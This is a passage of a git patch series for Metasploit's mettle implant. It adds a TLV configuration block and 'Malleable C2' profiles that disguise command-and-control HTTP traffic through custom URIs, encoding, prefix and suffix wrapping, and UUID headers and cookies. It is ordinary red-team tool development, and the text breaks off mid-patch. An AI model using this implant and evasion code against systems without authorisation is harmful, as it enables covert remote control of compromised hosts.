From ea9cadd8ffbfedc97e94115573991f38238a0b76 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Wed, 25 Mar 2026 08:48:53 +1000 Subject: [PATCH 1/8] First pass of TLV config block support --- lib/metasploit_payloads/mettle.rb | 13 ++++ mettle/src/main.c | 111 +++++++++++++++++++++++++++++- mettle/src/tlv.c | 11 +++ mettle/src/tlv.h | 2 + mettle/src/tlv_types.h | 34 +++++++++ 5 files changed, 169 insertions(+), 2 deletions(-) diff --git a/lib/metasploit_payloads/mettle.rb b/lib/metasploit_payloads/mettle.rb index 9c547002..17e2a79a 100644 --- a/lib/metasploit_payloads/mettle.rb +++ b/lib/metasploit_payloads/mettle.rb @@ -16,6 +16,8 @@ class Mettle CMDLINE_MAX = 2000 CMDLINE_SIG = 'DEFAULT_OPTS'.freeze + CONFIG_BLOCK_MAX = 8192 + CONFIG_BLOCK_SIG = 'CONFIG_BLOCK'.freeze # # Config is a hash. Valid keys are: # :uri to connect to @@ -36,6 +38,9 @@ def initialize(triple, config={}) def to_binary(format=:process_image) bin = self.class.read(@platform, format) unless @config.empty? + if @config[:config_block] + bin = add_config_block(bin, @config[:config_block]) + end params = generate_argv bin = add_args(bin, params) end @@ -77,6 +82,14 @@ def short_opt(opt) end end + def add_config_block(bin, config_bytes) + if config_bytes.length > CONFIG_BLOCK_MAX + raise Mettle::Error, 'mettle config block too large', caller + end + padded = config_bytes + "\x00" * (CONFIG_BLOCK_MAX - config_bytes.length) + bin.sub(CONFIG_BLOCK_SIG + "\x00" * (CONFIG_BLOCK_MAX - CONFIG_BLOCK_SIG.length), padded) + end + def add_args(bin, params) if params[8] != "\x00" bin.sub(CMDLINE_SIG + ' ' * (CMDLINE_MAX - CMDLINE_SIG.length), params) diff --git a/mettle/src/main.c b/mettle/src/main.c index f216264c..33085d8a 100644 --- a/mettle/src/main.c +++ b/mettle/src/main.c @@ -16,6 +16,7 @@ #include "log.h" #include "mettle.h" #include "service.h" +#include "tlv.h" static void usage(const char *name) { @@ -239,6 +240,106 @@ void parse_default_args(struct mettle *m, int flags) } } +#define CONFIG_BLOCK_MAX 8192 +#define CONFIG_BLOCK_SIG "CONFIG_BLOCK" +#define CONFIG_BLOCK_SIG_LEN 12 + +/* + * 8KB placeholder for TLV-based configuration block. + * The framework patches this with a XOR-encoded TLV config packet. + */ +static char config_block_data[CONFIG_BLOCK_MAX] = CONFIG_BLOCK_SIG; + +static int parse_config_block(struct mettle *m) +{ + /* Check if the config block has been patched (signature overwritten) */ + if (strncasecmp(config_block_data, CONFIG_BLOCK_SIG, CONFIG_BLOCK_SIG_LEN) == 0) { + return -1; + } + + /* Find the actual data length by scanning backward past null padding */ + size_t data_len = CONFIG_BLOCK_MAX; + for (size_t i = CONFIG_BLOCK_MAX - 1; i > 0; i--) { + if (config_block_data[i] != '\0') { + data_len = i + 1; + break; + } + } + + /* Feed the raw config bytes through the standard TLV packet reader */ + struct buffer_queue *q = buffer_queue_new(); + if (q == NULL) { + return -1; + } + buffer_queue_add(q, config_block_data, data_len); + struct tlv_packet *config = tlv_packet_read_buffer_queue(NULL, q); + buffer_queue_free(q); + if (config == NULL) { + log_error("failed to parse config block"); + return -1; + } + + struct tlv_dispatcher *td = mettle_get_tlv_dispatcher(m); + struct c2 *c2 = mettle_get_c2(m); + + /* Extract UUID */ + size_t uuid_len = 0; + void *uuid = tlv_packet_get_raw(config, TLV_TYPE_UUID, &uuid_len); + if (uuid && uuid_len > 0) { + tlv_dispatcher_set_uuid(td, uuid, uuid_len); + } + + /* Extract Session GUID */ + size_t guid_len = 0; + void *guid = tlv_packet_get_raw(config, TLV_TYPE_SESSION_GUID, &guid_len); + if (guid && guid_len > 0) { + tlv_dispatcher_set_session_guid(td, guid); + } + + /* Extract session expiry */ + uint32_t session_expiry = 0; + tlv_packet_get_u32(config, TLV_TYPE_SESSION_EXPIRY, &session_expiry); + + /* Extract debug log path */ + const char *debug_log = tlv_packet_get_str(config, TLV_TYPE_DEBUG_LOG); + if (debug_log) { + FILE *log_fp = fopen(debug_log, "a"); + if (log_fp) { + log_init_file(log_fp); + log_set_level(3); + } + } + + /* Iterate C2 transport groups */ + struct tlv_iterator i = { + .packet = config, + .offset = 0, + .value_type = TLV_TYPE_C2, + }; + size_t group_len = 0; + void *group_data; + while ((group_data = tlv_packet_iterate(&i, &group_len)) != NULL) { + /* + * Wrap the group bytes in a temporary tlv_packet so we can + * use the standard accessors to extract child TLVs. + */ + struct tlv_packet *group = tlv_packet_from_raw(TLV_TYPE_C2, group_data, group_len); + if (group == NULL) { + continue; + } + + const char *url = tlv_packet_get_str(group, TLV_TYPE_C2_URL); + if (url) { + c2_add_transport_uri(c2, url); + } + + tlv_packet_free(group); + } + + tlv_packet_free(config); + return 0; +} + /* Saves a copy of argv for setproctitle emulation */ #ifndef HAVE_SETPROCTITLE static char **saved_argv; @@ -268,9 +369,15 @@ int main(int argc, char * argv[]) } /* - * Check to see if we were injected by metasploit + * Try TLV config block first — if present, it contains all config. + * Fall back to CLI args / DEFAULT_OPTS if no config block. */ - if (argv[0] != NULL && strcmp(argv[0], "m") == 0) { + if (parse_config_block(m) == 0) { + log_info("loaded configuration from TLV config block"); + } else if (argv[0] != NULL && strcmp(argv[0], "m") == 0) { + /* + * Check to see if we were injected by metasploit + */ flags |= PAYLOAD_INJECTED; /* diff --git a/mettle/src/tlv.c b/mettle/src/tlv.c index 30501abc..41db072d 100644 --- a/mettle/src/tlv.c +++ b/mettle/src/tlv.c @@ -63,6 +63,17 @@ struct tlv_packet *tlv_packet_new(uint32_t type, int initial_len) return p; } +struct tlv_packet *tlv_packet_from_raw(uint32_t type, const void *data, size_t len) +{ + struct tlv_packet *p = malloc(sizeof(struct tlv_packet) + len); + if (p) { + p->h.type = htonl(type); + p->h.len = htonl(len + TLV_MIN_LEN); + memcpy(p->buf, data, len); + } + return p; +} + void tlv_packet_free(struct tlv_packet *p) { free(p); diff --git a/mettle/src/tlv.h b/mettle/src/tlv.h index f913dd8e..0ef61771 100644 --- a/mettle/src/tlv.h +++ b/mettle/src/tlv.h @@ -50,6 +50,8 @@ struct tlv_dispatcher; struct tlv_packet *tlv_packet_new(uint32_t type, int initial_len); +struct tlv_packet *tlv_packet_from_raw(uint32_t type, const void *data, size_t len); + bool tlv_found_first_packet(struct buffer_queue *q); struct tlv_packet * tlv_packet_read_buffer_queue(struct tlv_dispatcher *td , struct buffer_queue *q); diff --git a/mettle/src/tlv_types.h b/mettle/src/tlv_types.h index c54ebf57..c7648c50 100644 --- a/mettle/src/tlv_types.h +++ b/mettle/src/tlv_types.h @@ -101,6 +101,40 @@ #define TLV_TYPE_SYM_KEY (TLV_META_TYPE_RAW | 552) #define TLV_TYPE_ENC_SYM_KEY (TLV_META_TYPE_RAW | 553) +/* + * C2/Transport configuration + */ +#define TLV_TYPE_SESSION_EXPIRY (TLV_META_TYPE_UINT | 700) +#define TLV_TYPE_EXITFUNC (TLV_META_TYPE_UINT | 701) +#define TLV_TYPE_DEBUG_LOG (TLV_META_TYPE_STRING | 702) +#define TLV_TYPE_EXTENSION (TLV_META_TYPE_GROUP | 703) +#define TLV_TYPE_C2 (TLV_META_TYPE_GROUP | 704) +#define TLV_TYPE_C2_COMM_TIMEOUT (TLV_META_TYPE_UINT | 705) +#define TLV_TYPE_C2_RETRY_TOTAL (TLV_META_TYPE_UINT | 706) +#define TLV_TYPE_C2_RETRY_WAIT (TLV_META_TYPE_UINT | 707) +#define TLV_TYPE_C2_URL (TLV_META_TYPE_STRING | 708) +#define TLV_TYPE_C2_URI (TLV_META_TYPE_STRING | 709) +#define TLV_TYPE_C2_PROXY_URL (TLV_META_TYPE_STRING | 710) +#define TLV_TYPE_C2_PROXY_USER (TLV_META_TYPE_STRING | 711) +#define TLV_TYPE_C2_PROXY_PASS (TLV_META_TYPE_STRING | 712) +#define TLV_TYPE_C2_GET (TLV_META_TYPE_GROUP | 713) +#define TLV_TYPE_C2_POST (TLV_META_TYPE_GROUP | 714) +#define TLV_TYPE_C2_HEADERS (TLV_META_TYPE_STRING | 715) +#define TLV_TYPE_C2_UA (TLV_META_TYPE_STRING | 716) +#define TLV_TYPE_C2_CERT_HASH (TLV_META_TYPE_RAW | 717) +#define TLV_TYPE_C2_PREFIX (TLV_META_TYPE_RAW | 718) +#define TLV_TYPE_C2_SUFFIX (TLV_META_TYPE_RAW | 719) +#define TLV_TYPE_C2_ENC (TLV_META_TYPE_UINT | 720) +#define TLV_TYPE_C2_PREFIX_SKIP (TLV_META_TYPE_UINT | 721) +#define TLV_TYPE_C2_SUFFIX_SKIP (TLV_META_TYPE_UINT | 722) +#define TLV_TYPE_C2_UUID_COOKIE (TLV_META_TYPE_STRING | 723) +#define TLV_TYPE_C2_UUID_GET (TLV_META_TYPE_STRING | 724) +#define TLV_TYPE_C2_UUID_HEADER (TLV_META_TYPE_STRING | 725) + +#define C2_ENCODING_NONE 0 +#define C2_ENCODING_B64 1 +#define C2_ENCODING_B64URL 2 + /* * General */ From 4cb91775c909c150dd7d597441c9676f3cff6af8 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Fri, 27 Mar 2026 07:17:17 +1000 Subject: [PATCH 2/8] Add TLV-based configuration and Malleable C2 profile support Replace the CLI-argument-only configuration path with a TLV config block that the framework patches into the binary at generation time. This brings mettle in line with the Windows, Python, Java, and PHP Meterpreter implementations that all use Rex::Payloads::Meterpreter::Config. - Add C2 TLV constants (700-725 series) to tlv_types.h - Add 8KB CONFIG_BLOCK placeholder in main.c with signature-based patching, checked before CLI args and injection detection at startup - Add tlv_packet_from_raw() to tlv.c for wrapping GROUP TLV children - Parse UUID, session GUID, session expiry, debug log, and C2 transport groups from the config packet - Add c2_transport_config and c2_verb_config structs to c2.h - Add c2_add_transport_uri_config() to attach parsed config to transports - Parse C2 GET/POST profile sub-groups including URI, encoding flags, prefix/suffix, prefix/suffix skip, and UUID placement options - Implement profile-aware HTTP transport: per-verb URL building, Base64/Base64URL encode/decode, prefix/suffix wrapping on egress, prefix/suffix stripping and decoding on ingress, UUID in query param/header/cookie - Apply TLV transport config (UA, custom headers) during HTTP transport init alongside legacy pipe-separated URI args - Update mettle.rb to patch CONFIG_BLOCK into binaries - Fix json-c calloc argument order for modern GCC The legacy DEFAULT_OPTS CLI path is preserved as a fallback. --- mettle/src/c2.c | 45 ++++++ mettle/src/c2.h | 44 ++++++ mettle/src/c2_http.c | 327 ++++++++++++++++++++++++++++++++++++++++--- mettle/src/main.c | 99 ++++++++++++- 4 files changed, 486 insertions(+), 29 deletions(-) diff --git a/mettle/src/c2.c b/mettle/src/c2.c index 85afef63..f65bd13a 100644 --- a/mettle/src/c2.c +++ b/mettle/src/c2.c @@ -26,6 +26,7 @@ struct c2_transport { struct c2 *c2; struct c2_transport_type *type; void *ctx; + struct c2_transport_config *config; }; struct c2_transport_type { @@ -109,6 +110,7 @@ c2_remove_transports(struct c2 *c2) if (t->type->cbs.free) { t->type->cbs.free(t); } + c2_transport_config_free(t->config); free(t->uri); free(t); } @@ -158,6 +160,49 @@ int c2_add_transport_uri(struct c2 *c2, const char *uri) return -1; } +void c2_verb_config_free(struct c2_verb_config *vc) +{ + if (vc) { + free(vc->uri); + free(vc->prefix); + free(vc->suffix); + free(vc->uuid_get); + free(vc->uuid_header); + free(vc->uuid_cookie); + free(vc); + } +} + +void c2_transport_config_free(struct c2_transport_config *tc) +{ + if (tc) { + free(tc->proxy_url); + free(tc->user_agent); + free(tc->custom_headers); + free(tc->cert_hash); + c2_verb_config_free(tc->c2_get); + c2_verb_config_free(tc->c2_post); + free(tc); + } +} + +struct c2_transport_config * c2_transport_get_config(struct c2_transport *t) +{ + return t->config; +} + +int c2_add_transport_uri_config(struct c2 *c2, const char *uri, + struct c2_transport_config *config) +{ + int rc = c2_add_transport_uri(c2, uri); + if (rc == 0 && config) { + /* Find the last-added transport (tail of CDL) */ + struct c2_transport *t = c2->transports->prev; + t->config = config; + } + return rc; +} + static struct c2_transport * choose_next_transport(struct c2 *c2) { diff --git a/mettle/src/c2.h b/mettle/src/c2.h index d2e42211..ba525f65 100644 --- a/mettle/src/c2.h +++ b/mettle/src/c2.h @@ -9,12 +9,54 @@ #include #include "buffer_queue.h" +/* + * C2 Profile configuration for GET/POST verbs + */ +struct c2_verb_config { + char *uri; + int enc; + void *prefix; + size_t prefix_len; + void *suffix; + size_t suffix_len; + int prefix_skip; + int suffix_skip; + char *uuid_get; + char *uuid_header; + char *uuid_cookie; +}; + +/* + * Per-transport configuration parsed from TLV config block + */ +struct c2_transport_config { + uint32_t comm_timeout; + uint32_t retry_total; + uint32_t retry_wait; + char *proxy_url; + char *user_agent; + char *custom_headers; + void *cert_hash; + size_t cert_hash_len; + struct c2_verb_config *c2_get; + struct c2_verb_config *c2_post; +}; + +void c2_verb_config_free(struct c2_verb_config *vc); +void c2_transport_config_free(struct c2_transport_config *tc); + +/* + * C2 Manager + */ struct c2; struct c2 * c2_new(struct ev_loop *loop); int c2_add_transport_uri(struct c2 *c2, const char *uri); +int c2_add_transport_uri_config(struct c2 *c2, const char *uri, + struct c2_transport_config *config); + int c2_start(struct c2 *c2); int c2_close(struct c2 *c2); @@ -58,6 +100,8 @@ int c2_register_transport_type(struct c2 *c2, const char *proto, struct c2_transport* c2_get_current_transport(struct c2 *c2); +struct c2_transport_config * c2_transport_get_config(struct c2_transport *t); + const char * c2_transport_uri(struct c2_transport *t); const char * c2_transport_dest(struct c2_transport *t); struct ev_loop * c2_transport_loop(struct c2_transport *loop); diff --git a/mettle/src/c2_http.c b/mettle/src/c2_http.c index a6b95d8f..af3e7a48 100644 --- a/mettle/src/c2_http.c +++ b/mettle/src/c2_http.c @@ -6,8 +6,10 @@ #include #include +#include #include "argv_split.h" +#include "base64.h" #include "c2.h" #include "http_client.h" #include "log.h" @@ -27,6 +29,145 @@ struct http_ctx { bool online; }; +static int add_header(struct http_ctx *ctx, const char *header); +static void http_ctx_free(struct http_ctx *ctx); + +/* + * Base64URL encode: uses -_ instead of +/, no padding + */ +static char *b64url_encode(const void *src, size_t src_len, size_t *out_len) +{ + size_t b64_len = ((src_len + 2) / 3) * 4 + 1; + char *b64 = malloc(b64_len); + if (!b64) return NULL; + + int len = base64encode(b64, src, src_len); + /* Convert to URL-safe and strip padding */ + for (int i = 0; i < len; i++) { + if (b64[i] == '+') b64[i] = '-'; + else if (b64[i] == '/') b64[i] = '_'; + } + while (len > 0 && b64[len - 1] == '=') len--; + b64[len] = '\0'; + if (out_len) *out_len = len; + return b64; +} + +static void *c2_encode(const void *data, size_t len, int enc, size_t *out_len) +{ + if (enc == C2_ENCODING_B64) { + size_t b64_len = ((len + 2) / 3) * 4 + 1; + char *out = malloc(b64_len); + if (!out) return NULL; + int olen = base64encode(out, data, len); + out[olen] = '\0'; + *out_len = olen; + return out; + } else if (enc == C2_ENCODING_B64URL) { + return b64url_encode(data, len, out_len); + } + void *out = malloc(len); + if (out) { + memcpy(out, data, len); + *out_len = len; + } + return out; +} + +static void *c2_decode(const void *data, size_t len, int enc, size_t *out_len) +{ + if (enc == C2_ENCODING_B64 || enc == C2_ENCODING_B64URL) { + /* base64decode handles both standard and URL-safe variants */ + size_t max_len = ((len + 3) / 4) * 3 + 1; + char *out = malloc(max_len); + if (!out) return NULL; + /* Need null-terminated string for base64decode */ + char *tmp = malloc(len + 1); + if (!tmp) { free(out); return NULL; } + memcpy(tmp, data, len); + /* Convert URL-safe back to standard for decoder */ + for (size_t i = 0; i < len; i++) { + if (tmp[i] == '-') tmp[i] = '+'; + else if (tmp[i] == '_') tmp[i] = '/'; + } + tmp[len] = '\0'; + int olen = base64decode(out, tmp, len); + free(tmp); + if (olen < 0) { free(out); return NULL; } + *out_len = olen; + return out; + } + void *out = malloc(len); + if (out) { + memcpy(out, data, len); + *out_len = len; + } + return out; +} + +static char *get_uuid_from_uri(const char *uri) +{ + /* Extract UUID from the URI path (last path segment) */ + const char *path = strstr(uri, "://"); + if (path) path = strchr(path + 3, '/'); + if (!path || strlen(path) <= 1) return NULL; + + path++; /* skip leading / */ + const char *end = path + strlen(path); + if (*(end - 1) == '/') end--; + const char *last_slash = path; + for (const char *p = path; p < end; p++) { + if (*p == '/') last_slash = p + 1; + } + if (last_slash >= end) return NULL; + + size_t len = end - last_slash; + char *uuid = malloc(len + 1); + if (uuid) { + memcpy(uuid, last_slash, len); + uuid[len] = '\0'; + } + return uuid; +} + +static char *build_profile_url(const char *base_uri, struct c2_verb_config *vc, const char *uuid) +{ + if (!vc || !vc->uri) { + return strdup(base_uri); + } + + /* Extract scheme://host:port from base URI */ + const char *proto_end = strstr(base_uri, "://"); + if (!proto_end) return strdup(base_uri); + const char *host_start = proto_end + 3; + const char *path_start = strchr(host_start, '/'); + size_t base_len = path_start ? (size_t)(path_start - base_uri) : strlen(base_uri); + + const char *profile_uri = vc->uri; + int needs_slash = (profile_uri[0] != '/'); + + /* Calculate max URL length */ + size_t url_len = base_len + 1 + strlen(profile_uri) + 1; + if (uuid && vc->uuid_get) { + url_len += 1 + strlen(vc->uuid_get) + 1 + strlen(uuid); + } + + char *url = malloc(url_len + 1); + if (!url) return NULL; + + int written = snprintf(url, url_len + 1, "%.*s%s%s", + (int)base_len, base_uri, + needs_slash ? "/" : "", + profile_uri); + + if (uuid && vc->uuid_get) { + char sep = strchr(url, '?') ? '&' : '?'; + snprintf(url + written, url_len + 1 - written, "%c%s=%s", sep, vc->uuid_get, uuid); + } + + return url; +} + static void patch_uri(struct http_ctx *ctx, struct buffer_queue *q) { struct tlv_packet *request = tlv_packet_read_buffer_queue(NULL, q); @@ -61,6 +202,89 @@ static void patch_uri(struct http_ctx *ctx, struct buffer_queue *q) } } +/* + * Process a response with C2 profile decoding (prefix/suffix stripping + encoding) + */ +static void process_response_with_profile(struct http_ctx *ctx, + struct buffer_queue *response_q, struct c2_verb_config *vc) +{ + if (!vc) { + /* No profile — pass raw data through */ + c2_transport_ingress_queue(ctx->t, response_q); + return; + } + + void *raw = NULL; + ssize_t raw_len = buffer_queue_remove_all(response_q, &raw); + if (!raw || raw_len <= 0) { + free(raw); + return; + } + + /* Strip prefix/suffix bytes */ + int start = vc->prefix_skip; + int end = raw_len - vc->suffix_skip; + if (start >= end || start < 0 || end > (int)raw_len) { + start = 0; + end = raw_len; + } + size_t stripped_len = end - start; + + /* Decode */ + size_t decoded_len = 0; + void *decoded = c2_decode((char *)raw + start, stripped_len, vc->enc, &decoded_len); + free(raw); + + if (decoded && decoded_len > 0) { + c2_transport_ingress_buf(ctx->t, decoded, decoded_len); + } + free(decoded); +} + +/* + * Prepare egress data with C2 profile encoding (encoding + prefix/suffix wrapping) + */ +static void *encode_egress_with_profile(void *data, size_t data_len, + struct c2_verb_config *vc, size_t *out_len) +{ + if (!vc) { + *out_len = data_len; + return data; + } + + size_t encoded_len = 0; + void *encoded = c2_encode(data, data_len, vc->enc, &encoded_len); + free(data); + if (!encoded) return NULL; + + size_t prefix_len = vc->prefix ? vc->prefix_len : 0; + size_t suffix_len = vc->suffix ? vc->suffix_len : 0; + + if (prefix_len == 0 && suffix_len == 0) { + *out_len = encoded_len; + return encoded; + } + + size_t total = prefix_len + encoded_len + suffix_len; + void *wrapped = malloc(total); + if (!wrapped) { free(encoded); return NULL; } + + char *p = wrapped; + if (prefix_len > 0) { + memcpy(p, vc->prefix, prefix_len); + p += prefix_len; + } + memcpy(p, encoded, encoded_len); + p += encoded_len; + if (suffix_len > 0) { + memcpy(p, vc->suffix, suffix_len); + } + free(encoded); + + *out_len = total; + return wrapped; +} + static void http_poll_cb(struct http_conn *conn, void *arg) { struct http_ctx *ctx = arg; @@ -68,8 +292,6 @@ static void http_poll_cb(struct http_conn *conn, void *arg) int code = http_conn_response_code(conn); if (code > 0) { - // When the c2 come back online we set the first_packet=true - // to setup the session properly. if(!ctx->online) { ctx->first_packet = 1; ctx->poll_timer.repeat = 0.1; @@ -89,13 +311,14 @@ static void http_poll_cb(struct http_conn *conn, void *arg) ctx->first_packet = 0; got_command = true; } else { - size_t len; if (buffer_queue_len(ctx->egress) > 0) { got_command = true; } if (buffer_queue_len(q) > 0) { got_command = true; - c2_transport_ingress_queue(ctx->t, q); + struct c2_transport_config *tc = c2_transport_get_config(ctx->t); + struct c2_verb_config *get_profile = tc ? tc->c2_get : NULL; + process_response_with_profile(ctx, q, get_profile); } } } @@ -111,11 +334,6 @@ static void http_poll_cb(struct http_conn *conn, void *arg) ctx->poll_timer.repeat = 10; } if (ctx->running) { - /* - * Calling ev_timer_again and setting poll_timer.repeat = 0 - * Will result in having mettle http polling working sync instead of async. - * This is used to avoid pushing data on the queue when the c2 is offline. - */ ev_timer_again(c2_transport_loop(ctx->t), &ctx->poll_timer); if(!ctx->online) { ctx->poll_timer.repeat = 0; @@ -123,32 +341,77 @@ static void http_poll_cb(struct http_conn *conn, void *arg) } } +static void add_profile_headers(struct http_ctx *ctx, struct c2_verb_config *vc) +{ + if (!vc) return; + + char *uuid = get_uuid_from_uri(ctx->uri); + if (!uuid) return; + + if (vc->uuid_header) { + char *hdr = NULL; + if (asprintf(&hdr, "%s: %s", vc->uuid_header, uuid) != -1) { + add_header(ctx, hdr); + free(hdr); + } + } + if (vc->uuid_cookie) { + char *cookie = NULL; + if (asprintf(&cookie, "%s=%s", vc->uuid_cookie, uuid) != -1) { + free(ctx->data.cookie_list); + ctx->data.cookie_list = cookie; + } + } + free(uuid); +} + static void http_poll_timer_cb(struct ev_loop *loop, struct ev_timer *w, int revents) { struct http_ctx *ctx = w->data; bool sent = false; + struct c2_transport_config *tc = c2_transport_get_config(ctx->t); + struct c2_verb_config *post_profile = tc ? tc->c2_post : NULL; + struct c2_verb_config *get_profile = tc ? tc->c2_get : NULL; + while (buffer_queue_len(ctx->egress) > 0) { - /* - * Metasploit's HTTP handler cannot handle multiple queued messages, send these individually for now - * ctx->data.content_len = buffer_queue_remove_all(ctx->egress, - * &ctx->data.content); - */ ctx->data.content = buffer_queue_remove_msg(ctx->egress, &ctx->data.content_len); - http_request(ctx->uri, http_request_post, http_poll_cb, ctx, - &ctx->data, &ctx->opts); + + if (post_profile) { + size_t encoded_len = 0; + void *encoded = encode_egress_with_profile( + ctx->data.content, ctx->data.content_len, + post_profile, &encoded_len); + ctx->data.content = encoded; + ctx->data.content_len = encoded_len; + } + + char *uuid = get_uuid_from_uri(ctx->uri); + char *post_url = build_profile_url(ctx->uri, post_profile, uuid); + free(uuid); + add_profile_headers(ctx, post_profile); + + http_request(post_url ? post_url : ctx->uri, http_request_post, + http_poll_cb, ctx, &ctx->data, &ctx->opts); + free(post_url); ctx->data.content_len = 0; ctx->data.content = NULL; sent = true; } if (!sent) { - http_request(ctx->uri, http_request_get, http_poll_cb, ctx, - &ctx->data, &ctx->opts); + char *uuid = get_uuid_from_uri(ctx->uri); + char *get_url = build_profile_url(ctx->uri, get_profile, uuid); + free(uuid); + add_profile_headers(ctx, get_profile); + + http_request(get_url ? get_url : ctx->uri, http_request_get, + http_poll_cb, ctx, &ctx->data, &ctx->opts); + free(get_url); } } -void http_ctx_free(struct http_ctx *ctx) +static void http_ctx_free(struct http_ctx *ctx) { if (ctx) { if (ctx->egress) { @@ -197,6 +460,27 @@ int http_transport_init(struct c2_transport *t) add_header(ctx, "Connection: close"); + /* Apply config from TLV config block if available */ + struct c2_transport_config *tc = c2_transport_get_config(t); + if (tc) { + if (tc->user_agent) { + ctx->data.ua = strdup(tc->user_agent); + } + if (tc->custom_headers) { + /* Headers are CRLF-separated */ + char *hdrs = strdup(tc->custom_headers); + char *line = strtok(hdrs, "\r\n"); + while (line) { + if (strlen(line) > 0) { + add_header(ctx, line); + } + line = strtok(NULL, "\r\n"); + } + free(hdrs); + } + } + + /* Legacy: parse args after | in URI */ char *args = strchr(ctx->uri, '|'); if (args) { *args = '\0'; @@ -212,20 +496,17 @@ int http_transport_init(struct c2_transport *t) } } if (strcmp(argv[i], "--ua") == 0) { + free(ctx->data.ua); ctx->data.ua = strdup(argv[i + 1]); - log_info("ua: %s", ctx->data.ua); } if (strcmp(argv[i], "--referer") == 0) { ctx->data.referer = strdup(argv[i + 1]); - log_info("referer: %s", ctx->data.referer); } if (strcmp(argv[i], "--cookie") == 0) { ctx->data.cookie_list = strdup(argv[i + 1]); - log_info("cookie: %s", ctx->data.cookie_list); } if (strcmp(argv[i], "--header") == 0) { add_header(ctx, argv[i + 1]); - log_info("header: %s", argv[i + 1]); } } } diff --git a/mettle/src/main.c b/mettle/src/main.c index 33085d8a..67112756 100644 --- a/mettle/src/main.c +++ b/mettle/src/main.c @@ -250,6 +250,63 @@ void parse_default_args(struct mettle *m, int flags) */ static char config_block_data[CONFIG_BLOCK_MAX] = CONFIG_BLOCK_SIG; +static struct c2_verb_config *parse_c2_verb_group(struct tlv_packet *parent, uint32_t group_type) +{ + size_t vlen = 0; + void *vdata = tlv_packet_get_raw(parent, group_type, &vlen); + if (vdata == NULL || vlen == 0) { + return NULL; + } + + struct tlv_packet *vp = tlv_packet_from_raw(group_type, vdata, vlen); + if (vp == NULL) { + return NULL; + } + + struct c2_verb_config *vc = calloc(1, sizeof(*vc)); + if (vc == NULL) { + tlv_packet_free(vp); + return NULL; + } + + const char *s; + s = tlv_packet_get_str(vp, TLV_TYPE_C2_URI); + if (s) vc->uri = strdup(s); + + tlv_packet_get_u32(vp, TLV_TYPE_C2_ENC, (uint32_t *)&vc->enc); + tlv_packet_get_u32(vp, TLV_TYPE_C2_PREFIX_SKIP, (uint32_t *)&vc->prefix_skip); + tlv_packet_get_u32(vp, TLV_TYPE_C2_SUFFIX_SKIP, (uint32_t *)&vc->suffix_skip); + + size_t len = 0; + void *raw; + raw = tlv_packet_get_raw(vp, TLV_TYPE_C2_PREFIX, &len); + if (raw && len > 0) { + vc->prefix = malloc(len); + if (vc->prefix) { + memcpy(vc->prefix, raw, len); + vc->prefix_len = len; + } + } + raw = tlv_packet_get_raw(vp, TLV_TYPE_C2_SUFFIX, &len); + if (raw && len > 0) { + vc->suffix = malloc(len); + if (vc->suffix) { + memcpy(vc->suffix, raw, len); + vc->suffix_len = len; + } + } + + s = tlv_packet_get_str(vp, TLV_TYPE_C2_UUID_GET); + if (s) vc->uuid_get = strdup(s); + s = tlv_packet_get_str(vp, TLV_TYPE_C2_UUID_HEADER); + if (s) vc->uuid_header = strdup(s); + s = tlv_packet_get_str(vp, TLV_TYPE_C2_UUID_COOKIE); + if (s) vc->uuid_cookie = strdup(s); + + tlv_packet_free(vp); + return vc; +} + static int parse_config_block(struct mettle *m) { /* Check if the config block has been patched (signature overwritten) */ @@ -319,20 +376,50 @@ static int parse_config_block(struct mettle *m) size_t group_len = 0; void *group_data; while ((group_data = tlv_packet_iterate(&i, &group_len)) != NULL) { - /* - * Wrap the group bytes in a temporary tlv_packet so we can - * use the standard accessors to extract child TLVs. - */ struct tlv_packet *group = tlv_packet_from_raw(TLV_TYPE_C2, group_data, group_len); if (group == NULL) { continue; } const char *url = tlv_packet_get_str(group, TLV_TYPE_C2_URL); - if (url) { - c2_add_transport_uri(c2, url); + if (url == NULL) { + tlv_packet_free(group); + continue; + } + + struct c2_transport_config *tc = calloc(1, sizeof(*tc)); + if (tc == NULL) { + tlv_packet_free(group); + continue; + } + + tlv_packet_get_u32(group, TLV_TYPE_C2_COMM_TIMEOUT, &tc->comm_timeout); + tlv_packet_get_u32(group, TLV_TYPE_C2_RETRY_TOTAL, &tc->retry_total); + tlv_packet_get_u32(group, TLV_TYPE_C2_RETRY_WAIT, &tc->retry_wait); + + const char *s; + s = tlv_packet_get_str(group, TLV_TYPE_C2_PROXY_URL); + if (s) tc->proxy_url = strdup(s); + s = tlv_packet_get_str(group, TLV_TYPE_C2_UA); + if (s) tc->user_agent = strdup(s); + s = tlv_packet_get_str(group, TLV_TYPE_C2_HEADERS); + if (s) tc->custom_headers = strdup(s); + + size_t hash_len = 0; + void *hash = tlv_packet_get_raw(group, TLV_TYPE_C2_CERT_HASH, &hash_len); + if (hash && hash_len > 0) { + tc->cert_hash = malloc(hash_len); + if (tc->cert_hash) { + memcpy(tc->cert_hash, hash, hash_len); + tc->cert_hash_len = hash_len; + } } + /* Parse C2 GET/POST profile sub-groups */ + tc->c2_get = parse_c2_verb_group(group, TLV_TYPE_C2_GET); + tc->c2_post = parse_c2_verb_group(group, TLV_TYPE_C2_POST); + + c2_add_transport_uri_config(c2, url, tc); tlv_packet_free(group); } From a3d74d589ebfe7a6b44969c40151e934d4d0ea35 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Thu, 14 May 2026 17:04:58 +1000 Subject: [PATCH 3/8] Bring mettle up to speed with mc2, proxy and transport commands --- mettle/src/c2.c | 3 + mettle/src/c2.h | 3 + mettle/src/c2_http.c | 135 +++++++++++++++++++++++++++++++++++------ mettle/src/main.c | 6 ++ mettle/src/tlv_types.h | 1 + 5 files changed, 129 insertions(+), 19 deletions(-) diff --git a/mettle/src/c2.c b/mettle/src/c2.c index f65bd13a..ccb71d86 100644 --- a/mettle/src/c2.c +++ b/mettle/src/c2.c @@ -177,9 +177,12 @@ void c2_transport_config_free(struct c2_transport_config *tc) { if (tc) { free(tc->proxy_url); + free(tc->proxy_user); + free(tc->proxy_pass); free(tc->user_agent); free(tc->custom_headers); free(tc->cert_hash); + free(tc->c2_uuid); c2_verb_config_free(tc->c2_get); c2_verb_config_free(tc->c2_post); free(tc); diff --git a/mettle/src/c2.h b/mettle/src/c2.h index ba525f65..aa4df619 100644 --- a/mettle/src/c2.h +++ b/mettle/src/c2.h @@ -34,10 +34,13 @@ struct c2_transport_config { uint32_t retry_total; uint32_t retry_wait; char *proxy_url; + char *proxy_user; + char *proxy_pass; char *user_agent; char *custom_headers; void 